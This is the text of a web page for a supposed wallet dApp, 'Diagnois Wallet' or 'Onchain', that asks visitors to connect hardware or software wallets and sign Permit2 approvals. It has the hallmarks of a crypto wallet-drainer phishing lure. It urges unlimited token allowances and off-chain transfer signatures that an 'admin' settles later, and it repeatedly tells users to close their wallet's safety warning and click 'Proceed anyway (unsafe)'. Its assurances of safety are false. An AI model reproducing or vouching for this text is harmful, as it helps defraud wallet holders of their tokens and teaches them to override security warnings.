Diagnois
Wallet

Approve once, sign off-chain. Authorize secure token transfers using Permit2.

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Before You Connect — Please Read Your wallet will show a safety warning before you approve. This is normal for every new dApp. You can safely confirm if you verify:

The site URL is onchaindiagnois.com
You opened this page yourself
You are only authorizing tokens you intend to transfer

We use the official, audited Permit2 contract from Uniswap.

● Ethereum Mainnet ● Official Permit2 ● 0 Gas for Signing

What is Onchain?

Onchain is a secure Ethereum dApp that lets hardware wallet users grant token permissions with a single off-chain signature. No gas. No waiting. No exposure of your private keys. Your private key never leaves your Ledger, Trezor, or Tangem device.

How It Works

Connect your wallet — MetaMask, Rabby, or any of the 20+ supported wallets. Sign a one-time Permit2 authorization that grants permission to move specific tokens. Your wallet never exposes the private key. Our server pays the gas to settle the transfer.

Works with Hardware Wallets

Ledger, Trezor, and Tangem users can connect through MetaMask, Rabby, or WalletConnect. Your private keys stay locked in the hardware device. Every signature requires physical confirmation on your device.

Why Permit2?

Permit2 is Uniswap's audited contract used by leading DeFi platforms. It replaces the traditional two-transaction flow (approve + transfer) with a single off-chain signature, saving gas and reducing risk.

Safety & Support

Onchain does not offer phone support. We provide support via the in-app chat (bottom-right) and our Telegram group. Onchain staff will never ask for your seed phrase, private key, or 2FA code.

Approve Your Tokens

Approve each token once. You only need to do this one time per token.

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Important — Read before approving

Your wallet will show "Unlimited" — this is only a permission, not a transfer
No tokens will move now. You are only granting Permit2 approval
You'll pay a one-time gas fee (~$1) for this approval transaction
Settlement later is free — paid by our server

Authorize Transfer

Sign each token once. Admin will process the settlement shortly. You pay no gas.

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About to sign — what happens now Your wallet will show a safety warning — this is normal for every new dApp.

Click Close on the warning dialog
Then click Proceed anyway (unsafe) (or Confirm) at the bottom
This signature is off-chain — no gas, no transaction, no tokens moved

Settlement gas is paid by our server — you pay nothing.

Click Close on the warning dialog

Then click Proceed anyway (unsafe) at the bottom

The signature is off-chain — no gas, no transaction

Your tokens do NOT move during this step. An admin will settle them later.

DiagnoisWallet